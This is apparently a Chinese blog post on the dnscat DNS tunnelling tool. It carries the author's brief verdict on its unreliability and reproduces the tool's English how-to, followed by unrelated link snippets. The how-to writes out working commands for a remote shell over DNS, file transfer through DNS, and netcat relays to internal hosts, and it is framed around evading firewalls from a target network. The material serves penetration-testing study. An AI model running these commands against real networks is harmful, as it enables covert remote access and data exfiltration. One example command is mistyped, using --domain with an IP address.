dnscat使用——整体感觉这个工具不完善,失败率很高,传文件时候没有完整性校验,我自己测试时通过域名转发失败,可能是其特征过于明显导致
git clone https://github.com/iagox86/nbtool
make
然后就可以按照下面的官方说明进行操作了。
我的感受:整体感觉这个工具不完善,失败率很高,传文件时候没有完整性校验,我自己测试时通过域名转发失败,可能是其特征过于明显导致(子域名里有dnscat关键字)。
How-to
If you're going to read one section, this is probably the best one. It'll answer the question, "what the heck do I do with dnscat?"
Starting a server
You can start a dnscat server that supports a single client by running:
dnscat --listen
Adding --multi enables a dnscat server to handle multiple simultaneous clients:
dnscat --listen --multi
While --multi is obviously more functional, it is also slightly more difficult to use and doesn't take as kindly to redirection (it takes a little bit of shell magic to make it useful; I don't recommend it). Every client that connects picks a unique session id, which is displayed before every message. To send messages to specific sessions, the outgoing messages also have to be prefixed with the session id. So, sessions look like this (the '(in)' and '(out)' are added for clarification):
(in) session1: This is some incoming data for the first session
(out) session2: This is outgoing data on second session
(in) session2: This is a response on the second connection
And so on. When --multi isn't being used, redirection can be used to read/write files, create relays, and so on, the same way netcat can.
Starting a client
Once a server is running, a client can connect to it. This can be done in one of two ways.
First, and the usage I recommend: if the server is an authority for a domain name, you can use the --domain argument to provide the domain. Requests will be sent to the local dns server and will eventually be routed, through the DNS hierarchy, to the server. This is the best way to use dnscat, because it is very unlikely to be prevented. For more information, see the outline of Recursive Dns, above.
The second method is to send the dns messages directly from the client to the server using the --dns argument to specify the dnscat server address. This is useful for testing, and can fool simple packet captures and poorly conceived firewall rules, but isn't an ideal usage of dnscat.
By default, a random session id will be generated. If you run the dnscat server in --multi mode, you will likely want to use the --session argument on the client to give the sessions a more friendly name. No two sessions can share an id, though, and all names must be dns-friendly characters (letters and numbers).
To summarize, here are the two options for starting a client.
dnscat --domain skullseclabs.org
or
dnscat --dns 1.2.3.4
Where 'skullseclabs.org' is the domain that the dnscat server is the authority for, or '1.2.3.4' is the ip address of the dnscat server.
Examples
Simple server
As discussed above, a dnscat server can be started using the --listen argument:
dnscat --listen
Or, if multiple clients will connect, --multi can be given:
dnscat --listen --multi
Simple client
To start a dnscat client with an authoritative domain, use the following command:
dnscat --domain <domain>
For example:
dnscat --domain skullseclabs.org
And to start it without an authoritative domain, use this:
dnscat --dns <dnscat_server_address>
For example:
dnscat --domain 1.2.4.4
For more options, use --help:
dnscat --help
Remote shell
Typically, to tunnel a shell over DNS, you're going to want to run a standard server as before:
dnscat --listen
And run the shell on the client side:
Linux/BSD:
dnscat --domain skullseclabs.org --exec "/bin/sh"
Windows:
dnscat.exe --domain skullseclabs.org --exec "cmd.exe"
On the server, you can now type commands and they'll run on the client side.
Transfer a file
You can transfer a file to the client from the server like this:
Server:
dnscat --listen > file.out Client:
dnscat --domain <domain> < file.in
You can change the direction that the file goes by switching around the redirects. To transfer from the server to the client, do this:
Server:
dnscat --listen < file.in Client:
dnscat --domain <domain> > file.out
A couple things to note:
- No integrity checking is performed
- There is currently no indication when a transfer is finished
Tunnel another connection
This is my favourite thing to do, and it works really slick. You can use netcat to open a port-to-port tunnel through dnscat. I like this enough that I'm going to add netcat-like arguments in the next version.
Let's say that the client can connect to an ssh server on 192.168.2.100. The server is on an entirely different network and normally has no access to 192.168.2.100. The whole situation is a little confusing because we want the dnscat client to connect to the ssh server (presumably, in real life, we'd be able to get a dnscat client on a target network, but not a dnscat server). "client" and "server" are such ancient terms anyways. I prefer to look at them as the sender and the receiver.
A diagram might help:
ssh client
|
| (port 1234 via netcat)
|
v
dnscat server
^
|
| (DNS server(s))
|
dnscat client
|
| (port 22 via netcat)
|
v
ssh server
It's like a good ol' fashioned double netcat relay. Ed Skoudis would be proud. :)
First, we start the netcat server. The server is going to run netcat, which listens on port 1234:
dnscat --listen --exec "nc -l -p 1234"
If you connect to that host on port 1234, all data will be forwarded across DNS to the dnscat client.
Second, on the client side, dnscat connects to 192.168.2.100 port 22:
dnscat --domain skullseclabs.org --exec "nc 192.168.2.100 22"
This connects to 192.168.2.100 on port 22. The input/output will both be sent across DNS back to the dnscat server, which will then send the traffic to whomever is connected on TCP/1234.
Third and finally, we ssh to our socket:
ssh -p 1234 ron@127.0.0.1
Alternatively, if available you can also use the ssh -o ProxyCommand option which avoids the need for nc on the client:
ssh -o ProxyCommand="./dnscat --domain skullseclabs.org" root@localhost
One thing to note: at the moment, doing this is slooooow. But it works, and it's really, really cool!
dnscat使用——整体感觉这个工具不完善,失败率很高,传文件时候没有完整性校验,我自己测试时通过域名转发失败,可能是其特征过于明显导致的更多相关文章
- 接口测试工具postman(八)上传文件接口
涉及到选择文件的接口,在[Body]页签下,key选择File选项,会显示“选择文件”按钮,选择本地的文件
- 工具系列 | 使用FormData方式上传文件
服务端代码 /** * 文件上传 */ public function uploadFile() { Log::error('文件上传 : '.json_encode($_FILES)); $dir ...
- SpringBoot + Vue + ElementUI 实现后台管理系统模板 -- 后端篇(五): 数据表设计、使用 jwt、redis、sms 工具类完善注册登录逻辑
(1) 相关博文地址: SpringBoot + Vue + ElementUI 实现后台管理系统模板 -- 前端篇(一):搭建基本环境:https://www.cnblogs.com/l-y-h/p ...
- 带你开发一款给Apk中自动注入代码工具icodetools(完善篇)【申明:来源于网络】
带你开发一款给Apk中自动注入代码工具icodetools(完善篇)[申明:来源于网络] 带你开发一款给Apk中自动注入代码工具icodetools(完善篇):http://blog.csdn.net ...
- 高可用的Spring FTP上传下载工具类(已解决上传过程常见问题)
前言 最近在项目中需要和ftp服务器进行交互,在网上找了一下关于ftp上传下载的工具类,大致有两种. 第一种是单例模式的类. 第二种是另外定义一个Service,直接通过Service来实现ftp的上 ...
- MD5工具类,提供字符串MD5加密、文件MD5值获取(校验)功能
MD5工具类,提供字符串MD5加密(校验).文件MD5值获取(校验)功能 : package com.yzu.utils; import java.io.File; import java.io.Fi ...
- java http工具类和HttpUrlConnection上传文件分析
利用java中的HttpUrlConnection上传文件,我们其实只要知道Http协议上传文件的标准格式.那么就可以用任何一门语言来模拟浏览器上传文件.下面有几篇文章从http协议入手介绍了java ...
- Web---文件上传-用apache的工具处理、打散目录、简单文件上传进度
我们需要先准备好2个apache的类: 上一个博客文章只讲了最简单的入门,现在来开始慢慢加深. 先过渡一下:只上传一个file项 index.jsp: <h2>用apache的工具处理文件 ...
- 使用hexdump工具追踪EXT4文件系统中的一个文件
昨天追踪EXT4文件系统的过程中出了点问题,就是找不到文件,于是试了一下追踪FAT32文件系统的,成功之后有了点信心,今天继续嗑EXT4文件系统,终于找到啦,记录一下. 操作系统:linux(cent ...
随机推荐
- PostgreSQL的HA解决方案-项目概述
公司使用的数据库时postgresql,一直运行都很流畅,但是最近java新做的管理平台,由于登录用户较多,并发性比较大.另外新系统可能优化也存在问题,所以pg经常崩溃,所以我就开始研究如何事项pg的 ...
- Spring AOP理解
Spring的核心思想的IOC和AOP.最近学习AOP,对切面的学习有了进一步的认识. Spring用代理类包裹切面,把他们织入到Spring管理的bean中.也就是说代理类伪装成目标类,它会截取对目 ...
- 使用一行代码解决IE浏览器兼容问题
在网站开发中不免因为各种兼容问题苦恼,针对兼容问题,其实IE给出了解决方案Google也给出了解决方案 百度也应用了这种方案去解决IE的兼容问题 百度源代码如下 <!Doctype html&g ...
- 位姿检索PoseRecognition:LSH算法.p稳定哈希
位姿检索使用了LSH方法,而不使用PNP方法,是有一定的来由的.主要的工作会转移到特征提取和检索的算法上面来,有得必有失.因此,放弃了解析的方法之后,又放弃了优化的方法,最后陷入了检索的汪洋大海. 0 ...
- 基于MapReduce的贝叶斯网络算法研究参考文献
原文链接(系列):http://blog.csdn.net/XuanZuoNuo/article/details/10472219 论文: 加速贝叶斯网络:Accelerating Bayesian ...
- form表单提交三种方式,demo实例详解
第一种:使用type=submit 可以直接提交 <html> <head> <title>submit直接提交</title> </head& ...
- matlab学习创建变量定义函数
定义变量a,b,c,计算输出d >> a=-3;b=2;c=5;>> d=(a^2+b)/c;>> d=(a^2+b)/c d = 2.2000 系统默认变量 a ...
- Centos 7 安装图形化界面
Centos 7 默认是没有图形化界面的,但我们很多人在习惯了 Windows 的图形化界面之后,总是希望有一个图形化界面从而方便我们使用,这里介绍一下 CentOS7安装图形化桌面系统的方法. 一. ...
- 前端开发—CSS 盒子、浮动、定位
盒子模型 margin padding border content margin: 用于控制元素与元素之间的距离:body自带 8 像素的margin 需要手动去除.(快递盒之 ...
- WEBGL学习【九】立方体贴不同的纹理
<html> <!--开始实现一个三维街景的渲染效果--> <head> <meta http-equiv="Content-Type" ...